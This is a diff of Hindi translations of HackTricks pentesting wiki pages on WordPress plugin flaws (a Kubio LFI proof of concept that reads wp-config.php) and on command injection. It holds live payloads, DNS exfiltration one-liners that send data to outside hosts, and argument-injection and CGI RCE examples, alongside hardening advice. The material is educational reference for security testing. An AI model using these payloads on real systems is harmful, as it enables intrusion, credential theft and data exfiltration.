рдХреНрд╡реЗрд░реАрдЬрд╝ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬреЛ s рдХреЛ рдЬреЛрдбрд╝рддреА рд╣реИрдВ +Detection checklist +- Grep рдХрд░рдХреЗ depicter-* action handlers рдФрд░ SQL рдореЗрдВ рд╕реАрдзреЗ $_GET['s'] рдпрд╛ $_POST['s'] рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдЦреЛрдЬреЗрдВ +- $wpdb->get_results()/query() рдХреЛ рдкрд╛рд╕ рдХрд┐рдП рдЧрдП рдХрд╕реНрдЯрдо рдХреНрд╡реЗрд░реАрдЬ рдХреА рд╕рдореАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬреЛ s рдХреЛ concatenate рдХрд░ рд░рд╣реА рд╣реИрдВ -рд╣рд╛рд░реНрдбрдирд┐рдВрдЧ +Hardening - рд╣рдореЗрд╢рд╛ $wpdb->prepare() рдпрд╛ wpdb placeholders рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ; рд╕рд░реНрд╡рд░-рд╕рд╛рдЗрдб рдкрд░ рдЕрдирдкреЗрдХреНрд╖рд┐рдд metacharacters рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ -- s рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдЦреНрдд allowlist рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд charset/length рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕рд╛рдорд╛рдиреНрдпреАрдХреГрдд рдХрд░реЗрдВ +- s рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдЦреНрдд allowlist рдЬреЛрдбрд╝реЗрдВ рдФрд░ рдЕрдкреЗрдХреНрд╖рд┐рдд charset/length рдореЗрдВ normalize рдХрд░реЗрдВ --- -## рдмрд┐рдирд╛ рдкреНрд░рдорд╛рдгрд┐рдХрд░рдг Local File Inclusion рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдорд╛рдиреНрдпреАрдХреГрдд template/file path (Kubio AI Page Builder тЙд 2.5.1) +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder тЙд 2.5.1) -Normalization/containment рдХреЗ рдмрд┐рдирд╛ template рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ attacker-controlled paths рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рд╕реЗ arbitrary local files рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ, рдФрд░ рдХрднреА-рдХрднреА code execution рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдЕрдЧрд░ includable PHP/log files runtime рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░ рджрд┐рдП рдЬрд╛рдПрдБред +template parameter рдореЗрдВ normalization/containment рдХреЗ рдмрд┐рдирд╛ attacker-controlled paths рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рд╕реЗ arbitrary local files рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ, рдФрд░ рдХрднреА-рдХрднрд╛рд░ code execution рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдпрджрд┐ includable PHP/log рдлрд╛рдЗрд▓реЗрдВ runtime рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░ рджреА рдЬрд╛рдПрдБред - Parameter: __kubio-site-edit-iframe-classic-template -- рдХрдордЬрд╝реЛрд░реА: рдХреЛрдИ normalization/allowlisting рдирд╣реАрдВ; traversal рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ -- рдкреНрд░рднрд╛рд╡: рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ (wp-config.php), рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡рд╛рддрд╛рд╡рд░рдгреЛрдВ рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд RCE (log poisoning, includable PHP) +- Flaw: рдХреЛрдИ normalization/allowlisting рдирд╣реАрдВ; traversal рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ +- Impact: рдЧреЛрдкрдиреАрдп рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ (wp-config.php), specific environments рдореЗрдВ potential RCE (log poisoning, includable PHP) PoC тАУ wp-config.php рдкрдврд╝реЗрдВ ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЪреЗрдХрд▓рд┐рд╕реНрдЯ -- рдХреЛрдИ рднреА handler рдЬреЛ рдЕрдиреБрд░реЛрдз рдкрд╛рдереНрд╕ рдХреЛ include()/require()/read sinks рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдмрд┐рдирд╛ realpath() containment рдХреЗ -- traversal patterns (../) рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ intended templates directory рдХреЗ рдмрд╛рд╣рд░ рдкрд╣реБрдБрдЪ рд░рд╣реЗ рд╣реЛрдВ +- рдХреЛрдИ рднреА handler рдЬреЛ request paths рдХреЛ include()/require()/read sinks рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИ рдмрд┐рдирд╛ realpath() containment рдХреЗ +- traversal patterns (../) рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдЬреЛ рдЗрд░рд╛рджрддрди templates directory рдХреЗ рдмрд╛рд╣рд░ рдкрд╣реБрдБрдЪрддреЗ рд╣реЛрдВ рдХрдареЛрд░рдХрд░рдг -- Enforce allowlisted templates; resolve with realpath() and require str_starts_with(realpath(file), realpath(allowed_base)) -- рдЗрдирдкреБрдЯ рдХреЛ Normalize рдХрд░реЗрдВ; traversal sequences рдФрд░ absolute paths рдХреЛ reject рдХрд░реЗрдВ; sanitize_file_name() рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ filenames рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВ (not full paths) +- Allowlisted templates рд▓рд╛рдЧреВ рдХрд░реЗрдВ; realpath() рд╕реЗ resolve рдХрд░реЗрдВ рдФрд░ рдЪреЗрдХ рдХрд░реЗрдВ рдХрд┐ str_starts_with(realpath(file), realpath(allowed_base)) +- рдЗрдирдкреБрдЯ рдХреЛ normalize рдХрд░реЗрдВ; traversal sequences рдФрд░ absolute paths рдХреЛ reject рдХрд░реЗрдВ; sanitize_file_name() рдХреЗрд╡рд▓ filenames рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдкреВрд░реНрдг paths рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ) ## рд╕рдВрджрд░реНрдн diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index f044d40d7..5baeecf81 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## command Injection рдХреНрдпрд╛ рд╣реИ? -A **command injection** рдПрдХ attacker рдХреЛ рдЙрд╕ server рдкрд░, рдЬреЛ application host рдХрд░ рд░рд╣рд╛ рд╣реИ, arbitrary operating system commands execute рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдирддреАрдЬрддрди, application рдФрд░ рдЙрд╕рдХреЗ рд╕рднреА data рдкреВрд░реА рддрд░рд╣ compromised рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди commands рдХреЗ execution рд╕реЗ рдЖрдорддреМрд░ рдкрд░ attacker рдХреЛ application рдХреЗ environment рдФрд░ underlying system рдкрд░ unauthorized access рдпрд╛ control рдкреНрд░рд╛рдкреНрдд рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +рдПрдХ **command injection** рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЙрд╕ рд╕рд░реНрд╡рд░ рдкрд░ рдордирдорд╛рдиреЗ operating system commands рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╣реЛрд╕реНрдЯ рдХрд░ рд░рд╣рд╛ рд╣реЛрддрд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдФрд░ рдЗрд╕рдХреЗ рд╕рднреА рдбреЗрдЯрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрди рдХрдорд╛рдВрдбреНрд╕ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕реЗ рдЖрдорддреМрд░ рдкрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╡рд╛рддрд╛рд╡рд░рдг рдФрд░ underlying system рдкрд░ рдЕрдирд╛рдзрд┐рдХреГрдд рдкрд╣реБрдБрдЪ рдпрд╛ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -### Context +### рд╕рдВрджрд░реНрдн -рдпрд╣ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ **рдЖрдкрдХрд╛ input рдХрд╣рд╛рдБ inject рд╣реЛ рд░рд╣рд╛ рд╣реИ**, рдЖрдкрдХреЛ commands рд╕реЗ рдкрд╣рд▓реЗ **quoted context рдХреЛ terminate** (using `"` or `'`) рдХрд░рдирд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИред +рдпрд╣ рдЗрд╕ рдмрд╛рдд рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИ рдХрд┐ **where your input is being injected**; рдЖрдкрдХреЛ рдХрдорд╛рдВрдбреНрд╕ рд╕реЗ рдкрд╣рд▓реЗ **terminate the quoted context** (using `"` or `'`) рдХрд░рдирд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рд╣реИред ## Command Injection/Execution ```bash @@ -30,10 +30,11 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Limition** Bypasses +### **рд╕реАрдорд╛рдПрдБ** рдмрд╛рдпрдкрд╛рд╕ рдпрджрд┐ рдЖрдк **arbitrary commands inside a linux machine** рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕ **Bypasses:** рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрдврд╝рдиреЗ рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦреЗрдВрдЧреЗ: + {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} @@ -46,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### рдкреИрд░рд╛рдореАрдЯрд░ -рдпрд╣рд╛рдБ рд╢реАрд░реНрд╖ 25 рдкреИрд░рд╛рдореАрдЯрд░ рджрд┐рдП рдЧрдП рд╣реИрдВ рдЬреЛ code injection рдФрд░ рд╕рдорд╛рди RCE vulnerabilities рдХреЗ рдкреНрд░рддрд┐ рдХрдордЬреЛрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (рд╕реНрд░реЛрдд: [link](https://twitter.com/trbughunters/status/1283133356922884096)): +рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реАрд░реНрд╖ 25 рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ рдЬреЛ code injection рдФрд░ рд╕рдорд╛рди RCE vulnerabilities рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -88,9 +89,9 @@ real 0m0.002s user 0m0.000s sys 0m0.000s ``` -### DNS based data exfiltration +### DNS рдЖрдзрд╛рд░рд┐рдд data exfiltration -рдпрд╣ рдЯреВрд▓ `https://github.com/HoLyVieR/dnsbin` рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ рдФрд░ dnsbin.zhack.ca рдкрд░ рднреА рд╣реЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ +рдпрд╣ рдЯреВрд▓ `https://github.com/HoLyVieR/dnsbin` рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдФрд░ dnsbin.zhack.ca рдкрд░ рднреА рд╣реЛрд╕реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -100,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -DNS-рдЖрдзрд╛рд░рд┐рдд data exfiltration рдХреА рдЬрд╛рдБрдЪ рдХреЗ рд▓рд┐рдП рдСрдирд▓рд╛рдЗрди рдЯреВрд▓реНрд╕: +DNS based data exfiltration рдХреА рдЬрд╛рдВрдЪ рдХреЗ рд▓рд┐рдП рдСрдирд▓рд╛рдЗрди рдЯреВрд▓: - dnsbin.zhack.ca - pingb.in @@ -119,9 +120,9 @@ powershell C:**2\n??e*d.*? # notepad ../linux-hardening/bypass-bash-restrictions/ {{#endref}} -### Node.js `child_process.exec` рдмрдирд╛рдо `execFile` +### Node.js `child_process.exec` vs `execFile` -JavaScript/TypeScript рдмреИрдХ-рдПрдВрдб рдХрд╛ рдСрдбрд┐рдЯ рдХрд░рддреЗ рд╕рдордп рдЖрдк рдЕрдХреНрд╕рд░ Node.js `child_process` API рд╕реЗ рдорд┐рд▓реЗрдВрдЧреЗред +JavaScript/TypeScript рдмреИрдХ-рдПрдВрдб рдХрд╛ рдСрдбрд┐рдЯ рдХрд░рддреЗ рд╕рдордп рдЖрдк рдЕрдХреНрд╕рд░ Node.js `child_process` API рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░реЗрдВрдЧреЗред ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -129,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay /* тАж */ }); ``` -`exec()` рдПрдХ **shell** (`/bin/sh -c`) рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП shell рдХреЗ рд▓рд┐рдП special meaning рд░рдЦрдиреЗ рд╡рд╛рд▓реЗ рдХреЛрдИ рднреА character (back-ticks, `;`, `&&`, `|`, `$()`, тАж) рддрдм **command injection** рдХрд╛ рдХрд╛рд░рдг рдмрдиреЗрдВрдЧреЗ рдЬрдм user input string рдореЗрдВ concatenated рд╣реЛрдЧрд╛ред +`exec()` рдПрдХ **shell** (`/bin/sh -c`) рд╕реНрдкреЙрди рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЛрдИ рднреА рдХреИрд░реЗрдХреНрдЯрд░ рдЬрд┐рд╕рдХрд╛ shell рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рдЕрд░реНрде рд╣реИ (back-ticks, `;`, `&&`, `|`, `$()`, тАж) рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рдЬреЛрдбрд╝ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ **command injection** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрдЧрд╛ред -**Mitigation:** `execFile()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрд╛ `spawn()` рдмрд┐рдирд╛ `shell` option рдХреЗ) рдФрд░ **рдкреНрд░рддреНрдпреЗрдХ argument рдХреЛ рдЕрд▓рдЧ array element рдХреЗ рд░реВрдк рдореЗрдВ** рдкреНрд░рджрд╛рди рдХрд░реЗрдВ рддрд╛рдХрд┐ рдХреЛрдИ shell рд╢рд╛рдорд┐рд▓ рди рд╣реЛ: +**рдирд┐рд╡рд╛рд░рдг:** `execFile()` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ (рдпрд╛ `spawn()` рдмрд┐рдирд╛ `shell` рд╡рд┐рдХрд▓реНрдк рдХреЗ) рдФрд░ **рдкреНрд░рддреНрдпреЗрдХ argument рдХреЛ рдЕрд▓рдЧ-рдЕрд▓рдЧ array element рдХреЗ рд░реВрдк рдореЗрдВ** рдкреНрд░рджрд╛рди рдХрд░реЗрдВ рддрд╛рдХрд┐ рдХреЛрдИ shell рд╢рд╛рдорд┐рд▓ рди рд╣реЛ: ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -139,11 +140,11 @@ execFile('/usr/bin/do-something', [ '--payload', JSON.stringify(payload) ]); ``` -Real-world case: *Synology Photos* тЙд 1.7.0-0794 рдПрдХ unauthenticated WebSocket event рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ explotible рдерд╛ рдЬрд┐рд╕рдиреЗ attacker controlled рдбреЗрдЯрд╛ рдХреЛ `id_user` рдореЗрдВ рд░рдЦ рджрд┐рдпрд╛ рдЬреЛ рдмрд╛рдж рдореЗрдВ рдПрдХ `exec()` рдХреЙрд▓ рдореЗрдВ embedded рд╣реБрдЖ, рдФрд░ RCE рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* тЙд 1.7.0-0794 рдЕрдирдкреНрд░рдорд╛рдгрд┐рдд WebSocket рдЗрд╡реЗрдВрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрдмрд▓ рдерд╛ рдЬрд┐рд╕рдиреЗ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдбреЗрдЯрд╛ рдХреЛ `id_user` рдореЗрдВ рд░рдЦрд╛, рдЬреЛ рдмрд╛рдж рдореЗрдВ рдПрдХ `exec()` рдХреЙрд▓ рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕рд╕реЗ RCE рд╣рд╛рд╕рд┐рд▓ рд╣реБрдЖ (Pwn2Own Ireland 2024). ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) -Not all injections require shell metacharacters. рдпрджрд┐ application untrusted strings рдХреЛ system utility рдХреЛ arguments рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ `execve`/`execFile` рдХреЗ рд╕рд╛рде рдФрд░ no shell рд╣реЛрдиреЗ рдкрд░ рднреА), рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд┐рд╕реА рднреА argument рдХреЛ рдЬреЛ `-` рдпрд╛ `--` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, option рд╕рдордЭрдХрд░ parse рдХрд░ рд▓реЗрддреЗ рд╣реИрдВред рдЗрд╕рд╕реЗ рдПрдХ attacker modes рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ, output paths рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ, рдпрд╛ рдмрд┐рдирд╛ рдХрднреА shell рдореЗрдВ рдШреБрд╕реЗ рдЦрддрд░рдирд╛рдХ рд╡реНрдпрд╡рд╣рд╛рд░ trigger рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Not all injections require shell metacharacters. рдпрджрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдирдЯреНрд░рд╕реНрдЯреЗрдб рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдХреЛ рд╕рд┐рд╕реНрдЯрдо utility рдХреЗ arguments рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ (рдпрд╣рд╛рдБ рддрдХ рдХрд┐ `execve`/`execFile` рдХреЗ рд╕рд╛рде рдФрд░ рдмрд┐рдирд╛ shell рдХреЗ), рддреЛ рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд┐рд╕реА рднреА argument рдХреЛ рдЬреЛ `-` рдпрд╛ `--` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, option рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд░реНрд╕ рдХрд░реЗрдВрдЧреЗред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдореЛрдб рдмрджрд▓рдиреЗ, output paths рдмрджрд▓рдиреЗ, рдпрд╛ рдЦрддрд░рдирд╛рдХ рд╡реНрдпрд╡рд╣рд╛рд░ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рджреЗрддрд╛ рд╣реИ, рдмрд┐рдирд╛ рдХрднреА shell рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдПред Typical places where this appears: @@ -154,10 +155,10 @@ What to try: - Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. - Abuse flags that change behavior or write files, for example: - - `ping`: `-f`/`-c 100000` рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рджрдмрд╛рд╡ рдбрд╛рд▓рдиреЗ рдХреЗ рд▓рд┐рдП (DoS) - - `curl`: `-o /tmp/x` arbitrary paths рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, `-K ` attacker-controlled config рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП - - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` unsafe wrappers рдореЗрдВ post-rotate execution рд╣рд╛рд╕рд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП -- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. + - `ping`: `-f`/`-c 100000` to stress the device (DoS) + - `curl`: `-o /tmp/x` to write arbitrary paths, `-K ` to load attacker-controlled config + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers +- If the program supports `--` end-of-options, try to bypass рд╕рд╛рдзрд╛рд░рдг mitigations that prepend `--` in the wrong place. Generic PoC shapes against centralized CGI dispatchers: ``` @@ -170,7 +171,7 @@ topicurl=¶m=-n # Unauthenticated RCE when a handler concatenates into a shell topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -## Brute-Force рдбрд┐рдЯреЗрдХреНрд╢рди рд╕реВрдЪреА +## рдмреНрд░реВрдЯ-рдлрд╝реЛрд░реНрд╕ рдбрд┐рдЯреЗрдХреНрд╢рди рд╕реВрдЪреА {{#ref}} @@ -182,8 +183,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives тАУ Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) +- [Synology рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдЖрд░реНрдХрд╛рдЗрд╡реНрд╕ рдХрд╛ рдирд┐рд╖реНрдХрд░реНрд╖рдг тАУ Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [PHP proc_open рдореИрдиреБрдЕрд▓](https://www.php.net/manual/en/function.proc-open.php) - [HTB Nocturnal: IDOR тЖТ Command Injection тЖТ Root via ISPConfig (CVEтАС2023тАС46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) - [Unit 42 тАУ TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a412e554e..e0c63a88e 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -2,56 +2,56 @@ {{#include ../banners/hacktricks-training.md}} -## HackTricks рдорд╛рдиреНрдпрддрд╛рдПрдБ +## HackTricks Values > [!TIP] -> рдпреЗ HackTricks рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреА **рдорд╛рдиреНрдпрддрд╛рдПрдБ** рд╣реИрдВ: +> рдпреЗ HackTricks Project рдХреА **рдорд╛рдиреНрдпрддрд╛рдПрдБ** рд╣реИрдВ: > -> - рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ **рд╕рднреА** рдХреЛ **рдореБрдлреНрдд** **рд╢реИрдХреНрд╖рд┐рдХ hacking** рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рджреЗрдирд╛ред -> - Hacking рд╕реАрдЦрдирд╛ рд╣реИ, рдФрд░ рд╕реАрдЦрдирд╛ рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдЙрддрдирд╛ рдореБрдлреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред -> - рдЗрд╕ рдХрд┐рддрд╛рдм рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд╡реНрдпрд╛рдкрдХ **рд╢реИрдХреНрд╖рд┐рдХ рд╕рдВрд╕рд╛рдзрди** рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рдирд╛ рд╣реИред -> - рд╢рд╛рдирджрд╛рд░ **hacking** рддрдХрдиреАрдХреЛрдВ рдХреЛ рд╕рдореБрджрд╛рдп рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реЛрдиреЗ рдкрд░ рд╕рдВрдЧреНрд░рд╣рд┐рдд рдХрд░рдирд╛ рдФрд░ **рдореМрд▓рд┐рдХ** **рд▓реЗрдЦрдХреЛрдВ** рдХреЛ рд╕рд╛рд░рд╛ **рд╢реНрд░реЗрдп** рджреЗрдирд╛ред -> - **рд╣рдо рджреВрд╕рд░реЛрдВ рдХрд╛ рд╢реНрд░реЗрдп рдирд╣реАрдВ рдЪрд╛рд╣рддреЗ**, рд╣рдо рд╕рд┐рд░реНрдл рд╕рднреА рдХреЗ рд▓рд┐рдП рдмреЗрд╣рддрд░реАрди рдЯреНрд░рд┐рдХреНрд╕ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред -> - рд╣рдо HackTricks рдореЗрдВ **рдЕрдкрдиреА рд░рд┐рд╕рд░реНрдЪ** рднреА рд▓рд┐рдЦрддреЗ рд╣реИрдВред -> - рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╣рдо рд╕рд┐рд░реНрдл рддрдХрдиреАрдХ рдХреЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣рд┐рд╕реНрд╕реЛрдВ рдХрд╛ **HackTricks рдореЗрдВ рд╕рд╛рд░рд╛рдВрд╢** рд▓рд┐рдЦреЗрдВрдЧреЗ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП **рдкрд╛рдардХ рдХреЛ рдореВрд▓ рдкреЛрд╕реНрдЯ рдкрд░ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд рдХрд░рдирд╛**ред -> - рдХрд┐рддрд╛рдм рдореЗрдВ рдореМрдЬреВрдж рд╕рднреА **hacking** рддрдХрдиреАрдХреЛрдВ рдХреЛ **рд╕рдВрдЧрдард┐рдд** рдХрд░рдирд╛ рддрд╛рдХрд┐ рдпрд╣ **рдЕрдзрд┐рдХ рд╕реБрд▓рдн** рд╣реЛред -> - HackTricks рдЯреАрдо рдиреЗ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдореБрдлреНрдд рдореЗрдВ рдХреЗрд╡рд▓ 